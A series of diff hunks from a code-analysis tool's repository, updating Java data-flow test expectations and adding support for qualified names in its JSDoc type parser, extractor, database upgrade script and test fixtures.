| A.java:14:14:14:16 | "A" : String | A.java:15:16:15:16 | a : new A(...) { ... } [p] |
| A.java:14:14:14:16 | "A" : String | A.java:15:16:15:22 | get(...) : String |
| A.java:14:14:14:16 | "A" : String | A.java:18:8:18:15 | p : String |
| A.java:14:14:14:16 | "A" : String | A.java:18:25:40:3 | SSA def(p) : String |
| A.java:14:14:14:16 | "A" : String | A.java:28:7:38:5 | SSA def(a) : new A(...) { ... } [p] |
| A.java:14:14:14:16 | "A" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [p] |
| A.java:14:14:14:16 | "A" : String | A.java:28:11:38:5 | p : String |
| A.java:14:14:14:16 | "A" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [p] |
@@ -16,16 +13,12 @@
| A.java:14:14:14:16 | "A" : String | A.java:35:26:35:27 | this : new A(...) { ... } [p] |
| A.java:14:14:14:16 | "A" : String | A.java:39:12:39:12 | a : new A(...) { ... } [p] |
| A.java:14:14:14:16 | "A" : String | A.java:39:12:39:12 | p : String |
| A.java:21:11:21:13 | "B" : String | A.java:14:7:14:20 | SSA def(a) : new A(...) { ... } [String s] |
| A.java:21:11:21:13 | "B" : String | A.java:14:11:14:20 | f2(...) : new A(...) { ... } [String s] |
| A.java:21:11:21:13 | "B" : String | A.java:15:16:15:16 | a : new A(...) { ... } [String s] |
| A.java:21:11:21:13 | "B" : String | A.java:15:16:15:22 | get(...) : String |
| A.java:21:11:21:13 | "B" : String | A.java:21:7:21:13 | ...=... : String |
| A.java:21:11:21:13 | "B" : String | A.java:21:7:21:13 | SSA def(s) : String |
| A.java:21:11:21:13 | "B" : String | A.java:21:7:21:13 | [input] SSA phi(s) : String |
| A.java:21:11:21:13 | "B" : String | A.java:25:5:25:26 | SSA phi(s) : String |
| A.java:21:11:21:13 | "B" : String | A.java:25:5:25:26 | phi(String s) : String |
| A.java:21:11:21:13 | "B" : String | A.java:28:7:38:5 | SSA def(a) : new A(...) { ... } [String s] |
| A.java:21:11:21:13 | "B" : String | A.java:28:11:38:5 | String s : String |
| A.java:21:11:21:13 | "B" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [String s] |
| A.java:21:11:21:13 | "B" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [String s] |
@@ -37,16 +30,12 @@
| A.java:21:11:21:13 | "B" : String | A.java:35:26:35:27 | this : new A(...) { ... } [String s] |
| A.java:21:11:21:13 | "B" : String | A.java:39:12:39:12 | String s : String |
| A.java:21:11:21:13 | "B" : String | A.java:39:12:39:12 | a : new A(...) { ... } [String s] |
| A.java:23:11:23:13 | "C" : String | A.java:14:7:14:20 | SSA def(a) : new A(...) { ... } [String s] |
| A.java:23:11:23:13 | "C" : String | A.java:14:11:14:20 | f2(...) : new A(...) { ... } [String s] |
| A.java:23:11:23:13 | "C" : String | A.java:15:16:15:16 | a : new A(...) { ... } [String s] |
| A.java:23:11:23:13 | "C" : String | A.java:15:16:15:22 | get(...) : String |
| A.java:23:11:23:13 | "C" : String | A.java:23:7:23:13 | ...=... : String |
| A.java:23:11:23:13 | "C" : String | A.java:23:7:23:13 | SSA def(s) : String |
| A.java:23:11:23:13 | "C" : String | A.java:23:7:23:13 | [input] SSA phi(s) : String |
| A.java:23:11:23:13 | "C" : String | A.java:25:5:25:26 | SSA phi(s) : String |
| A.java:23:11:23:13 | "C" : String | A.java:25:5:25:26 | phi(String s) : String |
| A.java:23:11:23:13 | "C" : String | A.java:28:7:38:5 | SSA def(a) : new A(...) { ... } [String s] |
| A.java:23:11:23:13 | "C" : String | A.java:28:11:38:5 | String s : String |
| A.java:23:11:23:13 | "C" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [String s] |
| A.java:23:11:23:13 | "C" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [String s] |
@@ -60,20 +49,16 @@
| A.java:23:11:23:13 | "C" : String | A.java:39:12:39:12 | a : new A(...) { ... } [String s] |
| A.java:25:22:25:24 | "D" : String | A.java:4:5:4:7 | parameter this [Return] : Box [elem] |
| A.java:25:22:25:24 | "D" : String | A.java:4:9:4:16 | e : String |
| A.java:25:22:25:24 | "D" : String | A.java:4:19:4:31 | SSA def(e) : String |
| A.java:25:22:25:24 | "D" : String | A.java:4:21:4:24 | this <.field> [post update] : Box [elem] |
| A.java:25:22:25:24 | "D" : String | A.java:4:21:4:28 | ...=... : String |
| A.java:25:22:25:24 | "D" : String | A.java:4:28:4:28 | e : String |
| A.java:25:22:25:24 | "D" : String | A.java:6:12:6:18 | parameter this : Box [elem] |
| A.java:25:22:25:24 | "D" : String | A.java:6:31:6:34 | elem : String |
| A.java:25:22:25:24 | "D" : String | A.java:6:31:6:34 | this <.field> : Box [elem] |
| A.java:25:22:25:24 | "D" : String | A.java:14:7:14:20 | SSA def(a) : new A(...) { ... } [Box b1, ... (2)] |
| A.java:25:22:25:24 | "D" : String | A.java:14:11:14:20 | f2(...) : new A(...) { ... } [Box b1, ... (2)] |
| A.java:25:22:25:24 | "D" : String | A.java:15:16:15:16 | a : new A(...) { ... } [Box b1, ... (2)] |
| A.java:25:22:25:24 | "D" : String | A.java:15:16:15:22 | get(...) : String |
| A.java:25:22:25:24 | "D" : String | A.java:25:9:25:25 | SSA def(b1) : Box [elem] |
| A.java:25:22:25:24 | "D" : String | A.java:25:14:25:25 | new Box(...) : Box [elem] |
| A.java:25:22:25:24 | "D" : String | A.java:28:7:38:5 | SSA def(a) : new A(...) { ... } [Box b1, ... (2)] |
| A.java:25:22:25:24 | "D" : String | A.java:28:11:38:5 | Box b1 : Box [elem] |
| A.java:25:22:25:24 | "D" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [Box b1, ... (2)] |
| A.java:25:22:25:24 | "D" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [Box b1, ... (2)] |
@@ -88,19 +73,16 @@
| A.java:25:22:25:24 | "D" : String | A.java:39:12:39:12 | a : new A(...) { ... } [Box b1, ... (2)] |
| A.java:27:16:27:18 | "E" : String | A.java:5:10:5:16 | parameter this [Return] : Box [elem] |
| A.java:27:16:27:18 | "E" : String | A.java:5:18:5:25 | e : String |
| A.java:27:16:27:18 | "E" : String | A.java:5:28:5:40 | SSA def(e) : String |
| A.java:27:16:27:18 | "E" : String | A.java:5:30:5:33 | this <.field> [post update] : Box [elem] |
| A.java:27:16:27:18 | "E" : String | A.java:5:30:5:37 | ...=... : String |
| A.java:27:16:27:18 | "E" : String | A.java:5:37:5:37 | e : String |
| A.java:27:16:27:18 | "E" : String | A.java:6:12:6:18 | parameter this : Box [elem] |
| A.java:27:16:27:18 | "E" : String | A.java:6:31:6:34 | elem : String |
| A.java:27:16:27:18 | "E" : String | A.java:6:31:6:34 | this <.field> : Box [elem] |
| A.java:27:16:27:18 | "E" : String | A.java:14:7:14:20 | SSA def(a) : new A(...) { ... } [Box b2, ... (2)] |
| A.java:27:16:27:18 | "E" : String | A.java:14:11:14:20 | f2(...) : new A(...) { ... } [Box b2, ... (2)] |
| A.java:27:16:27:18 | "E" : String | A.java:15:16:15:16 | a : new A(...) { ... } [Box b2, ... (2)] |
| A.java:27:16:27:18 | "E" : String | A.java:15:16:15:22 | get(...) : String |
| A.java:27:16:27:18 | "E" : String | A.java:27:5:27:6 | b2 [post update] : Box [elem] |
| A.java:27:16:27:18 | "E" : String | A.java:28:7:38:5 | SSA def(a) : new A(...) { ... } [Box b2, ... (2)] |
| A.java:27:16:27:18 | "E" : String | A.java:28:11:38:5 | Box b2 : Box [elem] |
| A.java:27:16:27:18 | "E" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [Box b2, ... (2)] |
| A.java:27:16:27:18 | "E" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [Box b2, ... (2)] |

View File

@@ -1,6 +1,4 @@
| A.java:5:18:5:21 | null | A.java:2:13:2:20 | o |
| A.java:5:18:5:21 | null | A.java:5:12:5:21 | SSA def(src) |
| A.java:5:18:5:21 | null | A.java:5:18:5:21 | null |
| A.java:5:18:5:21 | null | A.java:6:12:6:18 | SSA def(x) |
| A.java:5:18:5:21 | null | A.java:6:16:6:18 | src |
| A.java:5:18:5:21 | null | A.java:7:10:7:10 | x |

View File

@@ -3,14 +3,12 @@ edges
| A.java:12:14:12:18 | src(...) : Object | A.java:12:5:12:5 | b [post update] : Box [elem] |
| A.java:12:14:12:18 | src(...) : Object | A.java:12:5:12:18 | ...=... : Object |
| A.java:13:12:13:12 | b : Box [elem] | A.java:17:13:17:16 | f1(...) : Box [elem] |
| A.java:17:9:17:16 | SSA def(b) : Box [elem] | A.java:18:8:18:8 | b : Box [elem] |
| A.java:17:13:17:16 | f1(...) : Box [elem] | A.java:17:9:17:16 | SSA def(b) : Box [elem] |
| A.java:17:13:17:16 | f1(...) : Box [elem] | A.java:18:8:18:8 | b : Box [elem] |
| A.java:18:8:18:8 | b : Box [elem] | A.java:21:11:21:15 | b : Box [elem] |
#select
| 0 | A.java:12:5:12:5 | b [post update] : Box [elem] |
| 0 | A.java:12:5:12:18 | ...=... : Object |
| 0 | A.java:13:12:13:12 | b : Box [elem] |
| 1 | A.java:17:9:17:16 | SSA def(b) : Box [elem] |
| 1 | A.java:17:13:17:16 | f1(...) : Box [elem] |
| 1 | A.java:18:8:18:8 | b : Box [elem] |
| 2 | A.java:21:11:21:15 | b : Box [elem] |

View File

@@ -2,8 +2,7 @@ edges
| A.java:4:16:4:18 | parameter this [Return] [elem] | A.java:22:17:22:25 | new Box(...) [elem] |
| A.java:4:16:4:18 | this <constr(this)> [post update] [elem] | A.java:4:16:4:18 | parameter this [Return] [elem] |
| A.java:5:19:5:22 | elem | A.java:24:10:24:19 | other.elem |
| A.java:22:9:22:25 | SSA def(other) [elem] | A.java:23:13:23:17 | other [elem] |
| A.java:22:17:22:25 | new Box(...) [elem] | A.java:22:9:22:25 | SSA def(other) [elem] |
| A.java:22:17:22:25 | new Box(...) [elem] | A.java:23:13:23:17 | other [elem] |
| A.java:23:13:23:17 | other [elem] | A.java:24:10:24:14 | other [elem] |
| A.java:23:13:23:17 | other [post update] [elem] | A.java:24:10:24:14 | other [elem] |
| A.java:24:10:24:14 | other [elem] | A.java:24:10:24:19 | other.elem |
@@ -11,7 +10,6 @@ edges
| A.java:28:5:28:5 | b [post update] [elem] | A.java:27:16:27:20 | b [Return] [elem] |
| A.java:28:14:28:25 | new Object(...) | A.java:28:5:28:5 | b [post update] [elem] |
#select
| 0 | A.java:22:9:22:25 | SSA def(other) [elem] |
| 0 | A.java:22:17:22:25 | new Box(...) [elem] |
| 0 | A.java:23:13:23:17 | other [elem] |
| 0 | A.java:23:13:23:17 | other [post update] [elem] |

View File

@@ -1,13 +1,9 @@
| TestSwitchExpr.java:4:15:4:22 | o |
| TestSwitchExpr.java:7:16:7:28 | SSA def(x1) |
| TestSwitchExpr.java:7:21:7:28 | source(...) |
| TestSwitchExpr.java:8:16:8:30 | SSA def(x2) |
| TestSwitchExpr.java:8:21:8:30 | switch (...) |
| TestSwitchExpr.java:10:24:10:25 | x1 |
| TestSwitchExpr.java:12:16:12:30 | SSA def(x3) |
| TestSwitchExpr.java:12:21:12:30 | switch (...) |
| TestSwitchExpr.java:13:38:13:39 | x2 |
| TestSwitchExpr.java:16:16:16:30 | SSA def(x4) |
| TestSwitchExpr.java:16:21:16:30 | switch (...) |
| TestSwitchExpr.java:19:23:19:24 | x3 |
| TestSwitchExpr.java:23:14:23:15 | x4 |

View File

@@ -1,24 +1,19 @@
| Test.java:12:15:12:47 | SSA def(inp) |
| Test.java:12:21:12:47 | new FileInputStream(...) |
| Test.java:14:21:14:39 | buffer(...) |
| Test.java:14:36:14:38 | inp |
| Test.java:15:16:15:54 | SSA def(lines) |
| Test.java:15:24:15:54 | readLines(...) |
| Test.java:15:42:15:44 | inp |
| Test.java:16:18:16:45 | readFully(...) |
| Test.java:16:36:16:38 | inp |
| Test.java:17:22:17:55 | toBufferedInputStream(...) |
| Test.java:17:52:17:54 | inp |
| Test.java:18:10:18:71 | SSA def(bufread) |
| Test.java:18:20:18:71 | toBufferedReader(...) |
| Test.java:18:45:18:70 | new InputStreamReader(...) |
| Test.java:18:67:18:69 | inp |
| Test.java:19:19:19:48 | toByteArray(...) |
| Test.java:19:39:19:41 | inp |
| Test.java:20:10:20:50 | SSA def(chars) |
| Test.java:20:18:20:50 | toCharArray(...) |
| Test.java:20:38:20:40 | inp |
| Test.java:21:10:21:43 | SSA def(s) |
| Test.java:21:14:21:43 | toString(...) |
| Test.java:21:31:21:33 | inp |
| Test.java:22:20:22:52 | toInputStream(...) |

View File

@@ -10,13 +10,11 @@
| A.java:20:16:20:16 | this <.field> |
| A.java:21:12:21:20 | getThis(...) |
| A.java:21:12:21:20 | this <.method> |
| A.java:25:7:25:17 | SSA def(a) |
| A.java:25:11:25:17 | new A(...) |
| A.java:25:11:25:17 | new A(...) [pre constructor] |
| A.java:26:12:26:12 | a |
| A.java:26:12:26:22 | getThis(...) |
| A.java:26:12:26:36 | getThisWrap(...) |
| A.java:27:7:27:17 | SSA def(c) |
| A.java:27:11:27:17 | new C(...) |
| A.java:27:11:27:17 | new C(...) [pre constructor] |
| A.java:28:5:28:5 | c |

View File

@@ -0,0 +1,37 @@
// Removes all nodes nested inside a qualified type access,
// and changes qualified type access nodes to "named type" nodes.
//
/*
* jsdoc_type_exprs (unique int id: @jsdoc_type_expr,
* int kind: int ref,
* int parent: @jsdoc_type_expr_parent ref,
* int idx: int ref,
* varchar(900) tostring: string ref);
*/
class JSDocTypeExprParent extends @jsdoc_type_expr_parent {
string toString() { none() }
}
class JSDocTypeExpr extends @jsdoc_type_expr {
string toString() { none() }
JSDocTypeExpr getChild(int n) { jsdoc_type_exprs(result, _, this, n, _) }
int getNewKind() { jsdoc_type_exprs(this, result, _, _, _) }
predicate shouldRemove() { this = any(JSDocQualifiedTypeAccess a).getChild(_) }
}
class JSDocQualifiedTypeAccess extends @jsdoc_qualified_type_expr, JSDocTypeExpr {
override int getNewKind() {
result = 5
/* 5 = @jsdoc_named_type_expr */
}
}
from JSDocTypeExpr node, JSDocTypeExprParent parent, int idx, string tostring
where
jsdoc_type_exprs(node, _, parent, idx, tostring) and
not node.shouldRemove()
select node, node.getNewKind(), parent, idx, tostring

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,4 @@
description: split up qualified names in jsdoc type exprs
compatibility: backwards
jsdoc_type_exprs.rel: run jsdoc_type_exprs.ql

View File

@@ -2,12 +2,12 @@ package com.semmle.js.ast.jsdoc;
import com.semmle.js.ast.SourceLocation;
/** A named JSDoc type. */
public class NameExpression extends JSDocTypeExpression {
/** An identifier in a JSDoc type. */
public class Identifier extends JSDocTypeExpression {
private final String name;
public NameExpression(SourceLocation loc, String name) {
super(loc, "NameExpression");
public Identifier(SourceLocation loc, String name) {
super(loc, "Identifier");
this.name = name;
}

View File

@@ -0,0 +1,35 @@
package com.semmle.js.ast.jsdoc;
import com.semmle.js.ast.SourceLocation;
/** A qualified name in a JSDoc type. */
public class QualifiedNameExpression extends JSDocTypeExpression {
private final JSDocTypeExpression base;
private final Identifier name;
public QualifiedNameExpression(SourceLocation loc, JSDocTypeExpression base, Identifier name) {
super(loc, "QualifiedNameExpression");
this.base = base;
this.name = name;
}
@Override
public void accept(Visitor v) {
v.visit(this);
}
/** Returns the expression on the left side of the dot character. */
public JSDocTypeExpression getBase() {
return base;
}
/** Returns the identifier on the right-hand side of the dot character. */
public Identifier getNameNode() {
return name;
}
@Override
public String pp() {
return base.pp() + "." + name.pp();
}
}

View File

@@ -10,7 +10,9 @@ public interface Visitor {
public void visit(JSDocTag nd);
public void visit(NameExpression nd);
public void visit(Identifier nd);
public void visit(QualifiedNameExpression nd);
public void visit(NullableLiteral nd);

View File

@@ -9,13 +9,14 @@ import com.semmle.js.ast.jsdoc.JSDocComment;
import com.semmle.js.ast.jsdoc.JSDocElement;
import com.semmle.js.ast.jsdoc.JSDocTag;
import com.semmle.js.ast.jsdoc.JSDocTypeExpression;
import com.semmle.js.ast.jsdoc.NameExpression;
import com.semmle.js.ast.jsdoc.Identifier;
import com.semmle.js.ast.jsdoc.NonNullableType;
import com.semmle.js.ast.jsdoc.NullLiteral;
import com.semmle.js.ast.jsdoc.NullableLiteral;
import com.semmle.js.ast.jsdoc.NullableType;
import com.semmle.js.ast.jsdoc.OptionalType;
import com.semmle.js.ast.jsdoc.ParameterType;
import com.semmle.js.ast.jsdoc.QualifiedNameExpression;
import com.semmle.js.ast.jsdoc.RecordType;
import com.semmle.js.ast.jsdoc.RestType;
import com.semmle.js.ast.jsdoc.TypeApplication;
@@ -42,7 +43,7 @@ public class JSDocExtractor {
jsdocTypeExprKinds.put("UndefinedLiteral", 2);
jsdocTypeExprKinds.put("NullableLiteral", 3);
jsdocTypeExprKinds.put("VoidLiteral", 4);
jsdocTypeExprKinds.put("NameExpression", 5);
jsdocTypeExprKinds.put("Identifier", 5);
jsdocTypeExprKinds.put("TypeApplication", 6);
jsdocTypeExprKinds.put("NullableType", 7);
jsdocTypeExprKinds.put("NonNullableType", 8);
@@ -52,6 +53,7 @@ public class JSDocExtractor {
jsdocTypeExprKinds.put("FunctionType", 12);
jsdocTypeExprKinds.put("OptionalType", 13);
jsdocTypeExprKinds.put("RestType", 14);
jsdocTypeExprKinds.put("QualifiedNameExpression", 15);
}
private final TrapWriter trapwriter;
@@ -122,10 +124,17 @@ public class JSDocExtractor {
}
@Override
public void visit(NameExpression nd) {
public void visit(Identifier nd) {
visit((JSDocTypeExpression) nd);
}
@Override
public void visit(QualifiedNameExpression nd) {
Label label = visit((JSDocTypeExpression) nd);
visit(nd.getBase(), label, 0);
visit(nd.getNameNode(), label, 1);
}
@Override
public void visit(NullableLiteral nd) {
visit((JSDocTypeExpression) nd);

View File

@@ -42,7 +42,7 @@ public class Main {
* A version identifier that should be updated every time the extractor changes in such a way that
* it may produce different tuples for the same file under the same {@link ExtractorConfig}.
*/
public static final String EXTRACTOR_VERSION = "2025-02-03";
public static final String EXTRACTOR_VERSION = "2025-03-20";
public static final Pattern NEWLINE = Pattern.compile("\n");

View File

@@ -10,13 +10,14 @@ import com.semmle.js.ast.jsdoc.FunctionType;
import com.semmle.js.ast.jsdoc.JSDocComment;
import com.semmle.js.ast.jsdoc.JSDocTag;
import com.semmle.js.ast.jsdoc.JSDocTypeExpression;
import com.semmle.js.ast.jsdoc.NameExpression;
import com.semmle.js.ast.jsdoc.Identifier;
import com.semmle.js.ast.jsdoc.NonNullableType;
import com.semmle.js.ast.jsdoc.NullLiteral;
import com.semmle.js.ast.jsdoc.NullableLiteral;
import com.semmle.js.ast.jsdoc.NullableType;
import com.semmle.js.ast.jsdoc.OptionalType;
import com.semmle.js.ast.jsdoc.ParameterType;
import com.semmle.js.ast.jsdoc.QualifiedNameExpression;
import com.semmle.js.ast.jsdoc.RecordType;
import com.semmle.js.ast.jsdoc.RestType;
import com.semmle.js.ast.jsdoc.TypeApplication;
@@ -70,30 +71,6 @@ public class JSDocParser {
return new JSDocComment(comment, r.fst(), tags);
}
/** Specification of Doctrine AST types for JSDoc type expressions. */
private static final Map<Class<? extends JSDocTypeExpression>, List<String>> spec =
new LinkedHashMap<Class<? extends JSDocTypeExpression>, List<String>>();
static {
spec.put(AllLiteral.class, Arrays.<String>asList());
spec.put(ArrayType.class, Arrays.asList("elements"));
spec.put(FieldType.class, Arrays.asList("key", "value"));
spec.put(FunctionType.class, Arrays.asList("this", "new", "params", "result"));
spec.put(NameExpression.class, Arrays.asList("name"));
spec.put(NonNullableType.class, Arrays.asList("expression", "prefix"));
spec.put(NullableLiteral.class, Arrays.<String>asList());
spec.put(NullLiteral.class, Arrays.<String>asList());
spec.put(NullableType.class, Arrays.asList("expression", "prefix"));
spec.put(OptionalType.class, Arrays.asList("expression"));
spec.put(ParameterType.class, Arrays.asList("name", "expression"));
spec.put(RecordType.class, Arrays.asList("fields"));
spec.put(RestType.class, Arrays.asList("expression"));
spec.put(TypeApplication.class, Arrays.asList("expression", "applications"));
spec.put(UndefinedLiteral.class, Arrays.<String>asList());
spec.put(UnionType.class, Arrays.asList("elements"));
spec.put(VoidLiteral.class, Arrays.<String>asList());
}
private static String sliceSource(String source, int index, int last) {
if (index >= source.length()) return "";
if (last > source.length()) last = source.length();
@@ -137,7 +114,7 @@ public class JSDocParser {
}
private static boolean isTypeName(char ch) {
return "><(){}[],:*|?!=".indexOf(ch) == -1 && !isWhiteSpace(ch) && !isLineTerminator(ch);
return "><(){}[],:*|?!=.".indexOf(ch) == -1 && !isWhiteSpace(ch) && !isLineTerminator(ch);
}
private static boolean isParamTitle(String title) {
@@ -559,20 +536,9 @@ public class JSDocParser {
}
private Token scanTypeName() {
char ch, ch2;
StringBuilder sb = new StringBuilder();
sb.append((char)advance());
while (index < endIndex && isTypeName(source.charAt(index))) {
ch = source.charAt(index);
if (ch == '.') {
if ((index + 1) < endIndex) {
ch2 = source.charAt(index + 1);
if (ch2 == '<') {
break;
}
}
}
sb.append((char)advance());
}
value = sb.toString();
@@ -850,11 +816,24 @@ public class JSDocParser {
return finishNode(new RecordType(loc, fields));
}
private JSDocTypeExpression parseNameExpression() throws ParseError {
Object name = value;
private Identifier parseIdentifier() throws ParseError {
SourceLocation loc = loc();
Object value = this.value; // save the value of the current token
expect(Token.NAME);
return finishNode(new NameExpression(loc, name.toString()));
return finishNode(new Identifier(loc, value.toString()));
}
private JSDocTypeExpression parseNameExpression() throws ParseError {
JSDocTypeExpression node = parseIdentifier();
while (token == Token.DOT) {
consume(Token.DOT);
Identifier memberName = parseIdentifier();
// Create a SourceLocation object with the correct start location.
// The call to finishNode() will set the end location.
SourceLocation loc = new SourceLocation(node.getLoc());
node = finishNode(new QualifiedNameExpression(loc, node, memberName));
}
return node;
}
// TypeExpressionList :=
@@ -947,14 +926,14 @@ public class JSDocParser {
SourceLocation loc = loc();
expr = parseTypeExpression();
if (expr instanceof NameExpression && token == Token.COLON) {
if (expr instanceof Identifier && token == Token.COLON) {
// Identifier ':' TypeExpression
consume(Token.COLON);
expr =
finishNode(
new ParameterType(
new SourceLocation(loc),
((NameExpression) expr).getName(),
((Identifier) expr).getName(),
parseTypeExpression()));
}
if (token == Token.EQUAL) {
@@ -1130,7 +1109,7 @@ public class JSDocParser {
consume(Token.RBRACK, "expected an array-style type declaration (' + value + '[])");
List<JSDocTypeExpression> expressions = new ArrayList<>();
expressions.add(expr);
NameExpression nameExpr = finishNode(new NameExpression(new SourceLocation(loc), "Array"));
Identifier nameExpr = finishNode(new Identifier(new SourceLocation(loc), "Array"));
return finishNode(new TypeApplication(loc, nameExpr, expressions));
}
@@ -1551,9 +1530,9 @@ public class JSDocParser {
// fixed at the end
if (isParamTitle(this._title)
&& this._tag.type != null
&& this._tag.type instanceof NameExpression) {
this._extra_name = ((NameExpression) this._tag.type).getName();
this._tag.name = ((NameExpression) this._tag.type).getName();
&& this._tag.type instanceof Identifier) {
this._extra_name = ((Identifier) this._tag.type).getName();
this._tag.name = ((Identifier) this._tag.type).getName();
this._tag.type = null;
} else {
if (!this.addError("Missing or invalid tag name")) {
@@ -1669,7 +1648,7 @@ public class JSDocParser {
Position start = new Position(_tag.startLine, _tag.startColumn, _tag.startColumn);
Position end = new Position(_tag.startLine, _tag.startColumn, _tag.startColumn);
SourceLocation loc = new SourceLocation(_extra_name, start, end);
this._tag.type = new NameExpression(loc, _extra_name);
this._tag.type = new Identifier(loc, _extra_name);
}
this._tag.name = null;

View File

@@ -517,150 +517,170 @@ jsdoc_type_exprs(#20157,4,#20145,-1,"void")
locations_default(#20158,#10000,11,60,11,63)
hasLocation(#20157,#20158)
#20159=*
jsdoc_type_exprs(#20159,5,#20145,-2,"goog.ui.Menu")
jsdoc_type_exprs(#20159,15,#20145,-2,"goog.ui.Menu")
#20160=@"loc,{#10000},11,26,11,37"
locations_default(#20160,#10000,11,26,11,37)
hasLocation(#20159,#20160)
jsdoc_has_new_parameter(#20145)
#20161=*
jsdoc_tags(#20161,"param",#20117,4,"@param")
#20162=@"loc,{#10000},12,5,12,10"
locations_default(#20162,#10000,12,5,12,10)
jsdoc_type_exprs(#20161,15,#20159,0,"goog.ui")
#20162=@"loc,{#10000},11,26,11,32"
locations_default(#20162,#10000,11,26,11,32)
hasLocation(#20161,#20162)
jsdoc_tag_names(#20161,"var_args")
#20163=*
jsdoc_type_exprs(#20163,14,#20161,0,"...number")
#20164=@"loc,{#10000},12,13,12,21"
locations_default(#20164,#10000,12,13,12,21)
jsdoc_type_exprs(#20163,5,#20161,0,"goog")
#20164=@"loc,{#10000},11,26,11,29"
locations_default(#20164,#10000,11,26,11,29)
hasLocation(#20163,#20164)
#20165=*
jsdoc_type_exprs(#20165,5,#20163,0,"number")
#20166=@"loc,{#10000},12,16,12,21"
locations_default(#20166,#10000,12,16,12,21)
jsdoc_type_exprs(#20165,5,#20161,1,"ui")
#20166=@"loc,{#10000},11,31,11,32"
locations_default(#20166,#10000,11,31,11,32)
hasLocation(#20165,#20166)
#20167=*
jsdoc(#20167,"",#20010)
hasLocation(#20167,#20011)
#20168=*
jsdoc_tags(#20168,"param",#20167,0,"@param")
#20169=@"loc,{#10000},15,4,15,9"
locations_default(#20169,#10000,15,4,15,9)
hasLocation(#20168,#20169)
#20170=*
jsdoc_errors(#20170,#20168,"Missing or invalid tag name","Missing ... ag name")
jsdoc_type_exprs(#20167,5,#20159,1,"Menu")
#20168=@"loc,{#10000},11,34,11,37"
locations_default(#20168,#10000,11,34,11,37)
hasLocation(#20167,#20168)
jsdoc_has_new_parameter(#20145)
#20169=*
jsdoc_tags(#20169,"param",#20117,4,"@param")
#20170=@"loc,{#10000},12,5,12,10"
locations_default(#20170,#10000,12,5,12,10)
hasLocation(#20169,#20170)
jsdoc_tag_names(#20169,"var_args")
#20171=*
jsdoc_tags(#20171,"param",#20167,1,"@param")
#20172=@"loc,{#10000},16,4,16,9"
locations_default(#20172,#10000,16,4,16,9)
jsdoc_type_exprs(#20171,14,#20169,0,"...number")
#20172=@"loc,{#10000},12,13,12,21"
locations_default(#20172,#10000,12,13,12,21)
hasLocation(#20171,#20172)
jsdoc_tag_names(#20171,"x")
#20173=*
jsdoc(#20173,"",#20012)
hasLocation(#20173,#20013)
#20174=*
jsdoc_tags(#20174,"",#20173,0,"@")
#20175=@"loc,{#10000},20,4,20,4"
locations_default(#20175,#10000,20,4,20,4)
hasLocation(#20174,#20175)
jsdoc_tag_descriptions(#20174,"{link a}")
jsdoc_type_exprs(#20173,5,#20171,0,"number")
#20174=@"loc,{#10000},12,16,12,21"
locations_default(#20174,#10000,12,16,12,21)
hasLocation(#20173,#20174)
#20175=*
jsdoc(#20175,"",#20010)
hasLocation(#20175,#20011)
#20176=*
jsdoc_errors(#20176,#20174,"Missing or invalid title","Missing ... d title")
#20177=*
jsdoc(#20177,"",#20014)
hasLocation(#20177,#20015)
jsdoc_tags(#20176,"param",#20175,0,"@param")
#20177=@"loc,{#10000},15,4,15,9"
locations_default(#20177,#10000,15,4,15,9)
hasLocation(#20176,#20177)
#20178=*
jsdoc_tags(#20178,"typedef",#20177,0,"@typedef")
#20179=@"loc,{#10000},24,4,24,11"
locations_default(#20179,#10000,24,4,24,11)
hasLocation(#20178,#20179)
jsdoc_tag_descriptions(#20178,"{a}")
#20180=*
jsdoc_errors(#20180,#20178,"Missing or invalid tag type","Missing ... ag type")
jsdoc_errors(#20178,#20176,"Missing or invalid tag name","Missing ... ag name")
#20179=*
jsdoc_tags(#20179,"param",#20175,1,"@param")
#20180=@"loc,{#10000},16,4,16,9"
locations_default(#20180,#10000,16,4,16,9)
hasLocation(#20179,#20180)
jsdoc_tag_names(#20179,"x")
#20181=*
jsdoc(#20181,"[resize description]",#20016)
hasLocation(#20181,#20017)
jsdoc(#20181,"",#20012)
hasLocation(#20181,#20013)
#20182=*
jsdoc_tags(#20182,"param",#20181,0,"@param")
#20183=@"loc,{#10000},30,4,30,9"
locations_default(#20183,#10000,30,4,30,9)
jsdoc_tags(#20182,"",#20181,0,"@")
#20183=@"loc,{#10000},20,4,20,4"
locations_default(#20183,#10000,20,4,20,4)
hasLocation(#20182,#20183)
jsdoc_tag_descriptions(#20182,"[description]
")
jsdoc_tag_names(#20182,"w")
jsdoc_tag_descriptions(#20182,"{link a}")
#20184=*
jsdoc_type_exprs(#20184,10,#20182,0,"[type]")
#20185=@"loc,{#10000},30,13,30,18"
locations_default(#20185,#10000,30,13,30,18)
hasLocation(#20184,#20185)
jsdoc_errors(#20184,#20182,"Missing or invalid title","Missing ... d title")
#20185=*
jsdoc(#20185,"",#20014)
hasLocation(#20185,#20015)
#20186=*
jsdoc_type_exprs(#20186,5,#20184,0,"type")
#20187=@"loc,{#10000},30,14,30,17"
locations_default(#20187,#10000,30,14,30,17)
jsdoc_tags(#20186,"typedef",#20185,0,"@typedef")
#20187=@"loc,{#10000},24,4,24,11"
locations_default(#20187,#10000,24,4,24,11)
hasLocation(#20186,#20187)
jsdoc_tag_descriptions(#20186,"{a}")
#20188=*
jsdoc_tags(#20188,"param",#20181,1,"@param")
#20189=@"loc,{#10000},31,4,31,9"
locations_default(#20189,#10000,31,4,31,9)
hasLocation(#20188,#20189)
jsdoc_tag_descriptions(#20188,"[description]
")
jsdoc_errors(#20188,#20186,"Missing or invalid tag type","Missing ... ag type")
#20189=*
jsdoc(#20189,"[resize description]",#20016)
hasLocation(#20189,#20017)
#20190=*
jsdoc_tags(#20190,"return",#20181,2,"@return")
#20191=@"loc,{#10000},32,4,32,10"
locations_default(#20191,#10000,32,4,32,10)
jsdoc_tags(#20190,"param",#20189,0,"@param")
#20191=@"loc,{#10000},30,4,30,9"
locations_default(#20191,#10000,30,4,30,9)
hasLocation(#20190,#20191)
